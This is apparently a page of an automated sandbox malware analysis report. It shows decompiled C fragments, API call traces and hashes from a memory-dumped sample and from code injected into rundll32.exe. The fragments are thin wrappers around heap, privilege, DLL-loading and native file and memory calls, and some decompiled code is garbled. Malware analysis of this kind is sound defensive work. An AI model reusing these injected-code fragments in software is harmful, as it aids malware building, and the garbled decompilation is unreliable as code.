Source File: 00000003.00000002.752412248.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 299515b6a4c4b7fe34a0254a828e2e35bbff23895406936d62d23753fc4f2dc5
Instruction ID: 2d85129770ae1569db338c81f9331519a7dd6e0895954f6df8c699ab0d1d1ce1
Opcode Fuzzy Hash: 299515b6a4c4b7fe34a0254a828e2e35bbff23895406936d62d23753fc4f2dc5
Instruction Fuzzy Hash: C5212BB2C442085BCB11E6609D42BFF736C9B14304F04017FE989A3181FA38AB498BA7

Uniqueness

Uniqueness Score: -1.00%

Function 00418880, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 24
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00418880(intOrPtr _a4, char _a8, long _a12, long _a16) {
				void* _t10;
				void* _t15;

				E004191B0(_t15, _a4, _a4 + 0xc70,  *((intOrPtr*)(_a4 + 0x10)), 0, 0x34);
				_t6 =  &_a8; // 0x413526
				_t10 = RtlAllocateHeap( *_t6, _a12, _a16); // executed
				return _t10;
			}

0x00418897
0x004188a2
0x004188ad
0x004188b1

APIs

RtlAllocateHeap.NTDLL(&5A,?,00413C9F,00413C9F,?,00413526,?,?,?,?,?,00000000,00408B03,?), ref: 004188AD

Strings

&5A, xrefs: 004188A2, 004188AC

Memory Dump Source

Source File: 00000003.00000002.752412248.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AllocateHeap
String ID: &5A
API String ID: 1279760036-1617645808
Opcode ID: 5b685ba00e4f3e285a347290f69675979fbe5b3df3c61f88542a29b4b9d62cf4
Instruction ID: 4ef14f879dafae0d6951d5bd0a6bbd37283b7ec5dd2ccf2ca50cdce3f5cd3bdb
Opcode Fuzzy Hash: 5b685ba00e4f3e285a347290f69675979fbe5b3df3c61f88542a29b4b9d62cf4
Instruction Fuzzy Hash: 6CE012B1200208ABDB14EF99CC45EA777ADAF88654F158559FA095B242CA30F910CAF4

Uniqueness

Uniqueness Score: -1.00%

Function 00409AA3, Relevance: 1.6, APIs: 1, Instructions: 102
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E00409AA3(void* __eflags, char _a1, intOrPtr* _a4, intOrPtr _a8, void* _a11, intOrPtr _a12) {
				intOrPtr _v4;
				struct _EXCEPTION_RECORD _v8;
				void* _v9;
				struct _OBJDIR_INFORMATION _v12;
				void* _v533;
				struct _OBJDIR_INFORMATION _t30;
				void* _t32;
				intOrPtr* _t33;
				intOrPtr* _t34;
				intOrPtr* _t35;
				intOrPtr* _t36;
				struct _OBJDIR_INFORMATION _t37;
				struct _OBJDIR_INFORMATION _t39;
				void* _t45;
				void* _t46;
				void* _t47;
				void* _t48;
				void* _t52;
				intOrPtr* _t60;
				intOrPtr _t63;
				void* _t72;
				void* _t74;
				void* _t75;
				void* _t79;

				_t79 = __eflags;
				_t30 =  *0x13e6ee85;
				while(1) {
					asm("adc edi, [0x58d414de]");
					asm("scasd");
					if(_t79 == 0) {
						break;
					}
					if(__eflags >= 0) {
						continue;
					} else {
						if(__eflags < 0) {
							 *((intOrPtr*)(_t52 - 0x77)) =  *((intOrPtr*)(_t52 - 0x77)) + _t52;
							_t66 =  &_a1;
							asm("cld");
							_t37 = E0041AF40();
							_t74 = _t72 + 0xc;
							__eflags = _t37;
							if(__eflags != 0) {
								_t39 = E0041B360(_v4, __eflags, _v4);
								_t75 = _t74 + 4;
								__eflags = _t39;
								if(_t39 != 0) {
									E0041B5E0( &_v8, 0);
									_t75 = _t75 + 8;
								}
								_t30 = E004196F0(_v4);
								_v12 = _t30;
								__eflags = _t30;
								if(_t30 == 0) {
									LdrLoadDll(0, 0,  &_v8,  &_v12); // executed
									_t30 = _v12;
								}
								return _t30;
							} else {
								return _t37;
							}
						} else {
							_t75 = _t72 - 1;
							asm("adc al, 0xb3");
							asm("loopne 0x73");
							asm("in eax, 0xc0");
							if (__eflags < 0) goto L25;
						}
					}
					L28:
				}
				_t63 = _a8;
				_t60 = _a4;
				if(_t63 > 1) {
					_t4 = _t63 - 2; // -4
					_t35 = _t60 + _t4;
					_t47 = _t63 - 1;
					do {
						 *_t35 =  *_t35 +  *((intOrPtr*)(_t35 + 1));
						_t35 = _t35 - 1;
						_t47 = _t47 - 1;
					} while (_t47 != 0);
					if(_t63 > 1) {
						_t36 = _t60;
						_t48 = _t63 - 1;
						do {
							 *_t36 =  *_t36 +  *((intOrPtr*)(_t36 + 1));
							_t36 = _t36 + 1;
							_t48 = _t48 - 1;
						} while (_t48 != 0);
					}
				}
				_t32 = E00409850(_t60, _t63, _a12);
				if(_t63 > 1) {
					_t11 = _t63 - 2; // -4
					_t33 = _t60 + _t11;
					_t45 = _t63 - 1;
					do {
						 *_t33 =  *_t33 +  *((intOrPtr*)(_t33 + 1));
						_t33 = _t33 - 1;
						_t45 = _t45 - 1;
					} while (_t45 != 0);
					if(_t63 > 1) {
						_t34 = _t60;
						_t46 = _t63 - 1;
						do {
							 *_t34 =  *_t34 +  *((intOrPtr*)(_t34 + 1));
							_t34 = _t34 + 1;
							_t46 = _t46 - 1;
						} while (_t46 != 0);
					}
				}
				return _t32;
				goto L28;
			}

0x00409aa3
0x00409aa3
0x00409aa7
0x00409aa7
0x00409aad
0x00409aae
0x00000000
0x00000000
0x00409b23
0x00000000
0x00409b25
0x00409b25
0x00409b4a
0x00409b4d
0x00409b4e
0x00409b4f
0x00409b54
0x00409b57
0x00409b59
0x00409b63
0x00409b68
0x00409b6b
0x00409b6d
0x00409b75
0x00409b7a
0x00409b7a
0x00409b81
0x00409b89
0x00409b8c
0x00409b8e
0x00409ba2
0x00409ba4
0x00409ba4
0x00409baa
0x00409b5b
0x00409b5e
0x00409b5e
0x00409b27
0x00409b28
0x00409b29
0x00409b2b
0x00409b2d
0x00409b2f
0x00409b30
0x00409b25
0x00000000
0x00409b23
0x00409ab4
0x00409ab8
0x00409abe
0x00409ac0
0x00409ac0
0x00409ac4
0x00409ac7
0x00409aca
0x00409acc
0x00409acd
0x00409acd
0x00409ad3
0x00409ad5
0x00409ad7
0x00409ae0
0x00409ae3
0x00409ae5
0x00409ae6
0x00409ae6
0x00409ae0
0x00409ad3
0x00409aef
0x00409afa
0x00409afc
0x00409afc
0x00409b00
0x00409b03
0x00409b06
0x00409b08
0x00409b09
0x00409b09
0x00409b0f
0x00409b11
0x00409b13
0x00409b16
0x00409b19
0x00409b1b
0x00409b1c
0x00409b1c
0x00409b16
0x00409b0f
0x00409b22
0x00000000

Memory Dump Source

Source File: 00000003.00000002.752412248.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c4165ac5f52cf1c89cd93aa026a30780bc3074965008fb993e2f73ce0709d4a9
Instruction ID: e59c4468f740ef6ae9cfbf8646859d1db365485c50e079e881158f2eb6c8c7db
Opcode Fuzzy Hash: c4165ac5f52cf1c89cd93aa026a30780bc3074965008fb993e2f73ce0709d4a9
Instruction Fuzzy Hash: FE314F3590814A9BDF10EB45E484EFEF775EF55318F0400ABE84897383E676AD48CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00407280, Relevance: 1.6, APIs: 1, Instructions: 55
threadwindowCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E00407280(void* __eflags, intOrPtr _a4, long _a8) {
				char _v67;
				char _v68;
				void* _t12;
				intOrPtr* _t13;
				int _t14;
				long _t21;
				intOrPtr* _t25;
				void* _t26;
				void* _t30;

				_t30 = __eflags;
				_v68 = 0;
				E0041A110( &_v67, 0, 0x3f);
				E0041ACF0( &_v68, 3);
				_t12 = E00409B30(_t30, _a4 + 0x1c,  &_v68); // executed
				_t13 = E00413E40(_a4 + 0x1c, _t12, 0, 0, 0xc4e7b6d6);
				_t25 = _t13;
				if(_t25 != 0) {
					_t21 = _a8;
					_t14 = PostThreadMessageW(_t21, 0x111, 0, 0); // executed
					if(_t14 == 0) {
						_t14 =  *_t25(_t21, 0x8003, _t26 + (E00409290(1, 8) & 0x000000ff) - 0x40, _t14);
					}
					return _t14;
				}
				return _t13;
			}

0x00407280
0x0040728f
0x00407293
0x0040729e
0x004072ae
0x004072be
0x004072c3
0x004072ca
0x004072cd
0x004072da
0x004072de
0x004072fb
0x004072fb
0x00000000
0x004072fd
0x00407302

APIs

PostThreadMessageW.USER32(?,00000111,00000000,00000000,?), ref: 004072DA

Memory Dump Source

Source File: 00000003.00000002.752412248.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: 14624e8db26b89bccf1705d7108d041dc2e52ca21b332cab295bc8e658a3c696
Instruction ID: 7737b7532069fc333edaf9b0832c3edc759e3be1fb1c5433828103526b109584
Opcode Fuzzy Hash: 14624e8db26b89bccf1705d7108d041dc2e52ca21b332cab295bc8e658a3c696
Instruction Fuzzy Hash: 36018431A8022876E721A6959C03FFE776C5B00B55F15416EFF04BA1C2E6A87A0546EA

Uniqueness

Uniqueness Score: -1.00%

Function 00418A11, Relevance: 1.5, APIs: 1, Instructions: 44
COMMON

Download Yara Rule

C-Code - Quality: 44%

			E00418A11(void* __eax, void* __ebx, void* __ecx, void* __esi, WCHAR* _a4, WCHAR* _a8, struct _LUID* _a12) {
				intOrPtr _v0;
				int _t13;
				void* _t22;

				asm("adc [ebp+edx*2+0x7b], ecx");
				asm("std");
				 *(__esi - 0x50) =  *(__esi - 0x50) ^ 0x000000ec;
				asm("lock jo 0x58");
				_t10 = _v0;
				_push(__esi);
				E004191B0(_t22, _v0, _v0 + 0xc8c,  *((intOrPtr*)(_t10 + 0xa18)), 0, 0x46);
				_t13 = LookupPrivilegeValueW(_a4, _a8, _a12); // executed
				return _t13;
			}

0x00418a13
0x00418a17
0x00418a1a
0x00418a1e
0x00418a23
0x00418a2c
0x00418a3a
0x00418a50
0x00418a54

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,00000041,0040CFB2,0040CFB2,00000041,00000000,?,00408B75), ref: 00418A50

Memory Dump Source

Source File: 00000003.00000002.752412248.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 54bf7cc0e2903c50e79072f3c055ebd25f33dfba502a3a6531402e7581d0806d
Instruction ID: 02b010b0facfdfb749455c65bcfe71f2abe0a290f89e1b753c4be73ce6b13147
Opcode Fuzzy Hash: 54bf7cc0e2903c50e79072f3c055ebd25f33dfba502a3a6531402e7581d0806d
Instruction Fuzzy Hash: E4F0ADB02002086FDB14DF65CC44DE73769EF85360F04815AFD0857342C634ED50C7A4

Uniqueness

Uniqueness Score: -1.00%

Function 00418A55, Relevance: 1.5, APIs: 1, Instructions: 38COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,00000041,0040CFB2,0040CFB2,00000041,00000000,?,00408B75), ref: 00418A50

Memory Dump Source

Source File: 00000003.00000002.752412248.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 8345fe8e641b38700136b5680f1df98fa64d2b9f2e73196854079c5c4f9c0c5f
Instruction ID: 7d12b575357b806d2e238472d2ae5f970759b112d236988ab3794c71ae3fea53
Opcode Fuzzy Hash: 8345fe8e641b38700136b5680f1df98fa64d2b9f2e73196854079c5c4f9c0c5f
Instruction Fuzzy Hash: C2F0BEB16402086BE724DF55DC44EE73369AF85360F05836AF9186B252C635AC81C7E5

Uniqueness

Uniqueness Score: -1.00%

Function 004188B7, Relevance: 1.5, APIs: 1, Instructions: 26
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004188B7(void* __eax, signed int __ecx, intOrPtr _a4, void* _a8, long _a12, void* _a16) {
				signed int _v457558658;
				char _t16;
				void* _t22;

				_v457558658 = _v457558658 << __ecx;
				 *((intOrPtr*)(__ecx + 0x55)) =  *((intOrPtr*)(__ecx + 0x55)) - __eax + 1;
				_t13 = _a4;
				_t7 = _t13 + 0xc74; // 0xc74
				E004191B0(_t22, _a4, _t7,  *((intOrPtr*)(_a4 + 0x10)), 0, 0x35);
				_t16 = RtlFreeHeap(_a8, _a12, _a16); // executed
				return _t16;
			}

0x004188b8
0x004188be
0x004188c3
0x004188cf
0x004188d7
0x004188ed
0x004188f1

APIs

RtlFreeHeap.NTDLL(00000060,00408B03,?,?,00408B03,00000060,00000000,00000000,?,?,00408B03,?,00000000), ref: 004188ED

Memory Dump Source

Source File: 00000003.00000002.752412248.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 54be67ac835af1d60f0dffea39b9eb95647f45457cad126436d845f814968cc8
Instruction ID: 9aeb6a2afd355d7cd62d122ae2d22c135e8a022aaedd2f24a750e5083e10cb1d
Opcode Fuzzy Hash: 54be67ac835af1d60f0dffea39b9eb95647f45457cad126436d845f814968cc8
Instruction Fuzzy Hash: 7EE09271600204AFD714DF65CC49EE737B8EF88350F014559FA1D97242D631E954CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 004188C0, Relevance: 1.5, APIs: 1, Instructions: 24
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004188C0(intOrPtr _a4, void* _a8, long _a12, void* _a16) {
				char _t10;
				void* _t15;

				_t3 = _a4 + 0xc74; // 0xc74
				E004191B0(_t15, _a4, _t3,  *((intOrPtr*)(_a4 + 0x10)), 0, 0x35);
				_t10 = RtlFreeHeap(_a8, _a12, _a16); // executed
				return _t10;
			}

0x004188cf
0x004188d7
0x004188ed
0x004188f1

APIs

RtlFreeHeap.NTDLL(00000060,00408B03,?,?,00408B03,00000060,00000000,00000000,?,?,00408B03,?,00000000), ref: 004188ED

Memory Dump Source

Source File: 00000003.00000002.752412248.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: c73a038728a0c461ae7389dd2c659cb336152b082840842379cc140023e4f07c
Instruction ID: 8f9b7065ee004bfc107c5e1a3206d22b1dba8f53d1ba42c3d4a522b3320012f0
Opcode Fuzzy Hash: c73a038728a0c461ae7389dd2c659cb336152b082840842379cc140023e4f07c
Instruction Fuzzy Hash: C0E012B1200208ABDB18EF99CC49EA777ADAF88750F018559FA095B242CA30E910CAF4

Uniqueness

Uniqueness Score: -1.00%

Function 00418A20, Relevance: 1.5, APIs: 1, Instructions: 24
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00418A20(intOrPtr _a4, WCHAR* _a8, WCHAR* _a12, struct _LUID* _a16) {
				int _t10;
				void* _t15;

				E004191B0(_t15, _a4, _a4 + 0xc8c,  *((intOrPtr*)(_a4 + 0xa18)), 0, 0x46);
				_t10 = LookupPrivilegeValueW(_a8, _a12, _a16); // executed
				return _t10;
			}

0x00418a3a
0x00418a50
0x00418a54

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,00000041,0040CFB2,0040CFB2,00000041,00000000,?,00408B75), ref: 00418A50

Memory Dump Source

Source File: 00000003.00000002.752412248.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 6066231f07dbbfb97dda43844c8c8cc76a5ad0e3334111b5d8a4297bdf0bdfe7
Instruction ID: 62f155a2f2b834774e03dd9f5cc664d450e5ddbb18d5cf86998e13752e76a9ec
Opcode Fuzzy Hash: 6066231f07dbbfb97dda43844c8c8cc76a5ad0e3334111b5d8a4297bdf0bdfe7
Instruction Fuzzy Hash: 6EE01AB12002086BDB10DF49CC85EE737ADAF88650F018155FA0957241CA34E8508BF5

Uniqueness

Uniqueness Score: -1.00%

Function 00418900, Relevance: 1.5, APIs: 1, Instructions: 20
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00418900(intOrPtr _a4, int _a8) {
				void* _t10;

				_t5 = _a4;
				E004191B0(_t10, _a4, _a4 + 0xc7c,  *((intOrPtr*)(_t5 + 0xa14)), 0, 0x36);
				ExitProcess(_a8);
			}

0x00418903
0x0041891a
0x00418928

APIs

ExitProcess.KERNEL32(?,?,00000000,?,?,?), ref: 00418928

Memory Dump Source

Source File: 00000003.00000002.752412248.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: caa18f4ccbf82a939ed7a560578cfa8cb4ed60065234b72d20cd43f227523b36
Instruction ID: 622c55a551f2a3710ca15f35a1068b8193fa72338b31a42c8a230178039be0f3
Opcode Fuzzy Hash: caa18f4ccbf82a939ed7a560578cfa8cb4ed60065234b72d20cd43f227523b36
Instruction Fuzzy Hash: 3FD012716002147BD620DB99CC85FD777ACDF48750F058065BA1D5B241C531BA00C6E5

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0041582A, Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.752412248.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 264de3e118d02a9ffa15a63dc57c826623d28cd80b2b990d25bb21b49f4e9d95
Instruction ID: cc9542ca87935fb05b881aeb367543f4bb5bf323256da69efdd9e04d16c4c522
Opcode Fuzzy Hash: 264de3e118d02a9ffa15a63dc57c826623d28cd80b2b990d25bb21b49f4e9d95
Instruction Fuzzy Hash: 8FB0123BB41056050D080C9D7D010F8E774C1C70F9A5031BBE109FF0A0C801D01E040C

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rundll32.exe PID: 4684 Parent PID: 3424 rundll32.exeCOMMON

Executed Functions

Function 009B85B0, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 40filenativeCOMMON

Download Yara Rule

APIs

NtCreateFile.NTDLL(00000060,00000000,.z`,009B3BA7,00000000,FFFFFFFF,?,?,FFFFFFFF,00000000,009B3BA7,007A002E,00000000,00000060,00000000,00000000), ref: 009B85FD

Strings

.z`, xrefs: 009B85ED, 009B85F8

Memory Dump Source

Source File: 00000008.00000002.932812676.00000000009A0000.00000040.00020000.sdmp, Offset: 009A0000, based on PE: false

Yara matches

Similarity

API ID: CreateFile
String ID: .z`
API String ID: 823142352-1441809116
Opcode ID: 19fa48ade07888cfcca4191431b874d7c75bcaabbd4d52727e7364b5df5f6853
Instruction ID: ea9fbaab6eae39e66bc6bd3e6c433eef0ab272c8f2a1654c0721611c1bad3de4
Opcode Fuzzy Hash: 19fa48ade07888cfcca4191431b874d7c75bcaabbd4d52727e7364b5df5f6853
Instruction Fuzzy Hash: 44F0B2B2214208AFCB08CF88DC85EEB77ADAF8C754F158248FA0D97241C630E811CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 009B8660, Relevance: 1.5, APIs: 1, Instructions: 36filenativeCOMMON

Download Yara Rule

APIs

NtReadFile.NTDLL(009B3D62,5E972F65,FFFFFFFF,009B3A21,?,?,009B3D62,?,009B3A21,FFFFFFFF,5E972F65,009B3D62,?,00000000), ref: 009B86A5

Memory Dump Source

Source File: 00000008.00000002.932812676.00000000009A0000.00000040.00020000.sdmp, Offset: 009A0000, based on PE: false

Yara matches

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 1cb0ad745fa17a6b0f92d1251f92e59420b1dcb8c70dd00eb84f7822971f7938
Instruction ID: 639744f6815a45a610c0ef46f47f331fc308db70c8569f33ee479a256331d242
Opcode Fuzzy Hash: 1cb0ad745fa17a6b0f92d1251f92e59420b1dcb8c70dd00eb84f7822971f7938
Instruction Fuzzy Hash: EBF0A4B2210208AFCB14DF89DC85EEB77ADAF8C754F158248BA1D97241DA30E811CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 009B878A, Relevance: 1.5, APIs: 1, Instructions: 32memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(00000004,00003000,00002000,00000000,?,009A2D11,00002000,00003000,00000004), ref: 009B87C9

Memory Dump Source

Source File: 00000008.00000002.932812676.00000000009A0000.00000040.00020000.sdmp, Offset: 009A0000, based on PE: false

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: e8f8f0e0a6e4064e71f6b48ec4831de7d4142e861319420afc7719c54dc9590c
Instruction ID: 8345c40f9ace154122a84ebb88b4b3d22593df085330f693955cece65d354bdb
Opcode Fuzzy Hash: e8f8f0e0a6e4064e71f6b48ec4831de7d4142e861319420afc7719c54dc9590c
Instruction Fuzzy Hash: 7DF0FEB52041096FDB14DFA8CC85EEB77ADAF89364F154648FA59A7291C630E811CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 009B8790, Relevance: 1.5, APIs: 1, Instructions: 30memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(00000004,00003000,00002000,00000000,?,009A2D11,00002000,00003000,00000004), ref: 009B87C9

Memory Dump Source

Source File: 00000008.00000002.932812676.00000000009A0000.00000040.00020000.sdmp, Offset: 009A0000, based on PE: false

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: e868ca870ba9ad3aee1a8e1804f154c56992d5df3b6804a08460a29a32ddb2bb
Instruction ID: f718af469881ae3be37d5bd1b121226f08ece10f09e033006dbd70eb1ae6faae
Opcode Fuzzy Hash: e868ca870ba9ad3aee1a8e1804f154c56992d5df3b6804a08460a29a32ddb2bb
Instruction Fuzzy Hash: 52F015B2210208AFCB14DF89CC81EEB77ADAF88750F118148FE0997241C630F810CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 009B86DA, Relevance: 1.5, APIs: 1, Instructions: 24nativeCOMMON

Download Yara Rule

APIs

NtClose.NTDLL(009B3D40,?,?,009B3D40,00000000,FFFFFFFF), ref: 009B8705

Memory Dump Source

Source File: 00000008.00000002.932812676.00000000009A0000.00000040.00020000.sdmp, Offset: 009A0000, based on PE: false

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: cbb4cb261444fffb2a6aa6b0a8601045e0646e0e27c7d4aed334eacb7777cfd2
Instruction ID: 6650b3fe490379588d69ef40d146b2a728a0e34c62e6f92bc9652006552b6329
Opcode Fuzzy Hash: cbb4cb261444fffb2a6aa6b0a8601045e0646e0e27c7d4aed334eacb7777cfd2
Instruction Fuzzy Hash: D3E026351002007FC711DBA4CC85FD73F29DF45360F040088FA499B242C430E500C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 009B86E0, Relevance: 1.5, APIs: 1, Instructions: 20nativeCOMMON

Download Yara Rule

APIs

NtClose.NTDLL(009B3D40,?,?,009B3D40,00000000,FFFFFFFF), ref: 009B8705

Memory Dump Source

Source File: 00000008.00000002.932812676.00000000009A0000.00000040.00020000.sdmp, Offset: 009A0000, based on PE: false

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: aa41620b67aec822f8463caeb84bd84f714cc802f2fd34de09a1d76353dd2617
Instruction ID: 156520ecf077223b4ea7bd01b8ea64425bd5d4862a3fbc2cc7581efe143bd6d8
Opcode Fuzzy Hash: aa41620b67aec822f8463caeb84bd84f714cc802f2fd34de09a1d76353dd2617
Instruction Fuzzy Hash: 09D01776200214ABD710EB98CC89FE77BADEF88760F154499BA199B242C930FA0086E0

Uniqueness

Uniqueness Score: -1.00%

Function 009B880A, Relevance: 1.5, APIs: 1, Instructions: 18memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(00000004,00003000,00002000,00000000,?,009A2D11,00002000,00003000,00000004), ref: 009B87C9

Memory Dump Source

Source File: 00000008.00000002.932812676.00000000009A0000.00000040.00020000.sdmp, Offset: 009A0000, based on PE: false

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: 718741d70260054c30bb0e07e81f47de28cad2db6e92ccb7b5353a2671d1fb39
Instruction ID: 729aabf9f1c0f670d5363f63ab9741ae33b1543ccc3083aaeef9d96ae8ad7976
Opcode Fuzzy Hash: 718741d70260054c30bb0e07e81f47de28cad2db6e92ccb7b5353a2671d1fb39
Instruction Fuzzy Hash: C5D05E761181582BC718CFA5ACC0CB7B7DCDFC9220308868DFD5C4B109C430A8149F70

Uniqueness

Uniqueness Score: -1.00%

Function 04B595D0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 04B595DA

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 18503ca0fecd62c3a62ad34121a3cc9e9b757ddfa2f9a591c30ccf14915aa16a
Instruction ID: 1f2bd4a9a218b2c1b5f72fa1f9985f879f104b5d5fe7ab95dab3bdfaea61b68a
Opcode Fuzzy Hash: 18503ca0fecd62c3a62ad34121a3cc9e9b757ddfa2f9a591c30ccf14915aa16a
Instruction Fuzzy Hash: BA9002A2302004036105715A4414616400ED7E0245B51C065E1015590DC969D8A17165

Uniqueness

Uniqueness Score: -1.00%

Function 04B59540, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 04B5954A

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 6c1879de25268847f8d0aeb364ac51da1a0e82730992abe16a8d33ccaa1dc761
Instruction ID: d3d07d818ce5a00872096bf037f88e7ca5f15ab06f152eabe36b013ce1f888eb
Opcode Fuzzy Hash: 6c1879de25268847f8d0aeb364ac51da1a0e82730992abe16a8d33ccaa1dc761
Instruction Fuzzy Hash: F5900266311004032105A55A0704507004AD7D5395351C065F1016550CDA65D8716161

Uniqueness

Uniqueness Score: -1.00%

Function 04B596E0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 04B596EA

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: ede3160bbe8a023f6bdcdb024b33d8d5ab3e84f9027e9528b0ba718bd7ceee93
Instruction ID: 6e840e12b4ae3a6aec28c13d7364dff00b901feba7a55a8ef06b51d4c8b93b23
Opcode Fuzzy Hash: ede3160bbe8a023f6bdcdb024b33d8d5ab3e84f9027e9528b0ba718bd7ceee93
Instruction Fuzzy Hash: F390027230108C02F110615A840474A0009D7D0345F55C455A4425658D8AD9D8A17161

Uniqueness

Uniqueness Score: -1.00%

Function 04B596D0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 04B596DA

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 679f1e69231a4286019a17954e917268539ee86b8ff482b4804056b2038b5a08
Instruction ID: e151e8b296c8eefff41e3f6a7abbed8a7668f69d046f38464bbf7d40775a8481
Opcode Fuzzy Hash: 679f1e69231a4286019a17954e917268539ee86b8ff482b4804056b2038b5a08
Instruction Fuzzy Hash: CF90027230100C42F100615A4404B460009D7E0345F51C05AA0125654D8A59D8617561

Uniqueness

Uniqueness Score: -1.00%

Function 04B59660, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 04B5966A

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: ca4bec27d4de9ba354cc26531b0af62ea2ee353b9f2aa58225b3e8576f45f0a2
Instruction ID: 7eada3b1c277aeddf68fdad0708a6733b5baeb7929c99105f093fe1566f8c60b
Opcode Fuzzy Hash: ca4bec27d4de9ba354cc26531b0af62ea2ee353b9f2aa58225b3e8576f45f0a2
Instruction Fuzzy Hash: F790027230100C02F180715A440464A0009D7D1345F91C059A0026654DCE59DA6977E1

Uniqueness

Uniqueness Score: -1.00%

